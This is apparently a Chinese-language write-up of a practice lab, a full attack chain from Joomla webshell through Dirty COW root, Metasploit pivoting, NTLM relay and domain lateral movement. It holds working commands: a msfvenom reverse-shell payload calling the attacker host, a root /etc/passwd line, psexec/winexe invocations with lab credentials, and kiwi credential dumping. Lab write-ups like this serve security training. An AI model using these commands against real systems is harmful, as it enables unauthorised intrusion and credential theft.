# 环境配置

这台靶机在下载导入到 vm 中后发现都是挂起状态,使用的是 vmnet2 这张网卡,分配的 ip 是 192.168.93 段,和直接桥接,这里添加一张网卡 vmnet2

image-20240626100423622

然后重启一下 web-centos 主机的网卡

/etc/init.d/networking restart

image-20240626103554840

# 外围打点

# 信息收集

还是从信息收集开始

nmap 192.168.193.0/24

image-20240626104558098

经过判断可以知道这里这个 118 这台主机就是本次外围打点的主角了(至于判断过程 emmmm 我开热点就两台主机,乐),这里可以看到实际上这里就 3 个服务,22,80,3306。毕竟是靶场,还是比较套路的,这里先预判一手 80 端口上来个什么 sql 注入之类的,反正就是先安排到数据库,然后在数据库中找到点 “敏感信息”,利用一下这个 22 端口 (az

预判完事了也是先看一下运行的服务版本和然后使用 nmap 先来一下漏洞扫描

nmap 192.168.193.0/24 -p22,80,3306 -sV --script=default

image-20240626105955809

这里也能获取到版本信息比如说 ssh 服务是 OpenSSH 5.3,http 服务是 nginx1.9.4,3306 是 mysql 5.7.27

值得注意是是这里扫描到 80 上存在 robots 文件,cms 是 Joomla,扫描一下版本

image-20240626134420726

版本是 3.9.12Joomla 远程代码执行漏洞 (CVE-2021-23132) 预警 - 安全内参 | 决策者的网络安全知识库 (secrss.com) 在网上也是检索到了一个远程代码执行的漏洞,不过利用的前置条件是需要登录到后台暂时搁置。这里去访问一下这个 http 服务和这个 robots 文件

image-20240626110545289

image-20240626110712547

这个目录还是有点意思的简单探索一下,但是目录扫描还是必不可少的

image-20240626112234255

31B 大小的都是空白页面,值得关注的有 1.php(这个是 phpinfo 页面),configuration.php~,htaccess.txt,LICENSE.txt,/web.config.txt

实际上最后能找到的点是这个备份的配置文件

image-20240626114851421

这里有数据库的连接信息,尝试连接一下,尝试是否能远程登录上这个 mysql 服务

image-20240626134933572

然后查看数据库中有没有什么有用的信息(预判成功 az)

image-20240626135305476

既然都连上数据库了就简单的试一下,发现这里是有机会直接写入文件的

image-20240626140614391

不过当前是一个低权限用户

image-20240626135026556

这里存在一个角色表,尝试破解这个密码或者再写入一个账号就能利用上面找到的漏洞

# getshell

image-20240626141429893

这里直接选用最靠谱的方法,搭建了一个相同版本的 cms,这里生成的密码就是我自己设置的了。将这个密码复制过去就可以用我自己设置的密码登录了

image-20240626141711865

然后通过 CVE-2021-23132 利用

image-20240626142705537

修改这里的模版

image-20240626142851562

在这里加入一句话

image-20240626143003748

然后通过 shell 工具连上就行了,这里还有 disable_function,也能直接使用蚁剑插件绕过

image-20240626144436939

选择绕过插件

image-20240626144517974

直接 run

image-20240626144554005

然后就可以快乐的执行命令了

image-20240626144626320

# 内网渗透

# 信息收集

当前的权限很低,接下来就是尝试提权,因为蚁剑的终端比较难用,所以我想反弹 shell 出来,检测连通性的时候发现不出网

image-20240626154059982

发现这里的 ip 和我访问的 ip 不是同一个网段,而且也不是多网卡,很显然这台 web 服务是使用了反向代理。接着做信息收集

image-20240626170110623

翻了半天没想到在这,虽然说都会很刻意的放一点信息,但是你这个放在 tmp 目录稍微有点过分了。这里拿到了一组账号密码,尝试登录

image-20240626170320494

这里既然不是数据库的那就只剩下 ssh 了

image-20240626170743394

看一下这个 ip 网卡信息

image-20240626170827911

可以看到这里就是两张网卡的了

image-20240626170902904

也是出网的,现在就可以配置代理了。验证一下前面为什么拿到的 shell 是内网主机的 shell

image-20240626171601569

image-20240626171627408

这里通过 nginx 反向代理

# 提权

GitHub - firefart/dirtycow: Dirty Cow exploit - CVE-2016-5195

image-20240628115233903

这里发现内核版本很低,该内核版本可以使用脏牛提权

image-20240628113924396

image-20240628115531860

因为脏牛提权实际上是条件竞争,这里 cpu 满了,更加选项设置了一个新的密码

firefart:fiKaC9KswdbbY:0:0:pwned:/root:/bin/bash

image-20240628115831032

# 上线 msf

这个环境很理想,所以可以选择直接配置路由转发

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.193.219 LPROT=4444 -f elf -o shell

image-20240626172950319

在 msf 中

image-20240626173147505

将上面生成的 shell 上传到靶机上运行

image-20240626173344001

这里就拿到了一个 msf 的 shell

# 代理

# 代理一

首先查看网卡配置信息

run get_local_subnets

image-20240626173801500

值得我们注意的是这个 192.168.93 网段,这个 ip 很显然是内网 ip,接下类我们开启路由转发

run autoroute -s 192.168.93.0/24

image-20240626173849303

可以看到,路由指向已经成功了,我们的 msf 可以将流量通过 session 转发到内网。但是我们别的攻击的使用还是有限制,这里配置一下 socks 代理

use auxiliary/server/socks_proxy
run

image-20240626173917271

socks 代理配置完成,然后我们可以使用 proxychains 工具来进行流量转发

image-20240626174122698

然后对内网的信息进行收集,使用 icmp 探测,这个比较快

for i in {1..254}; do ping -c 1 -W 1 192.168.93.$i 2>/dev/null | grep "ttl" & done

image-20240626180758715

存活的主机除了后面的 100 和 120 以外,这里又发现了 10,20,30 三台主机,分别使用 nmap 进行扫描

image-20240627155711629

这里有一个 sqlserver 还是值得关注的

image-20240627155850686

image-20240627164128072

虽然但是,怎么想感觉直接拿到一个密码都很奇怪,所以这里换一种代理方式

# 代理二

​ 因为如果不使用密码,相当与我拿到的 shell 是一个内网的 shell,相当于不出网的代理搭建这里基于 webshell 搭建代理使用 pystinger

将对应的 php 的 proxy 文件和 stinger_server 文件上传到网站目录,然后运行 stinger_server

image-20240627054745597

在攻击机上运行

./stinger_client -w http://192.168.193.118/proxy.php -l 127.0.0.1 -p 1080

image-20240627054825561

设置好 proxychains,简单试一下

image-20240627054921962

这样就已经可以访问内网的环境了,接下来使用 nmap 对内网主机存活探测,这个代理扫描 emmm 炸的不要太快,但是存活的主机可以查看 arp 的内容

arp | grep "ether"

image-20240627055327666

太容易炸了,而且权限低,这里只是记录一下,还是用上面那个比较舒服

image-20240627065209657

image-20240627065159178

​ 这里使用 fscan 扫描得到的结果也是一样的,同时还爆出了一个账号密码,root 123 不过当前已经拿到 shell 了没做过高权限的账号密码或许我该前面就拿到,探测出来这个 10 是 DC,存在域 test,20 上还开放了一个 web 服务。虽然上台主机上都开放了 445 端口,但是没有能无脑直接打的什么永恒之蓝,这里将目光转向了 mssql,这个数据库的密码经过测试,前面 mysql 的用户名密码也能直接登录。

# NTLM Relay

扫描域内机器的 SMB 签名的开放情况

proxychains python tools/RunFinger.py -i 192.168.93.10

image-20240627171912998

利用 MultiRelay.py 攻击

use auxiliary/admin/mssql/mssql_ntlm_stealer
set rhosts 192.168.93.20
set smbproxy 192.168.93.100
set username testuser
set password cvcvgjASD!@
run

image-20240627175836013

到这里抓取到 hash

image-20240628154343644

使用 john 破解

image-20240628161521726

# 内网横向

已经拿到密码了,这里使用 smbclient 查看目标是否开启了 ipc 共享

image-20240628162226442

然后就可以通过 winexe 来拿到 shell

proxychains winexe -U administrator%123qwe\!ASD --uninstall --system //192.168.93.20 cmd.exe

image-20240628173439902

或者直接使用 msf,20 和 30 两台主机密码是相同的(绝对不是我敲错了 az)

use exploit/windows/smb/psexec
set payload windows/x64/meterpreter/bind_tcp
set SMBUser administrator
set SMBPass 123qwe!ASD
set RHOSTS 192.168.93.30
run

image-20240628174622433

image-20240628180133793

简单用 kiwi 试一下,也是可以成功的,相同的方法上线 20,使用 kiwi 抓取到 dc 的账号密码

image-20240628180905953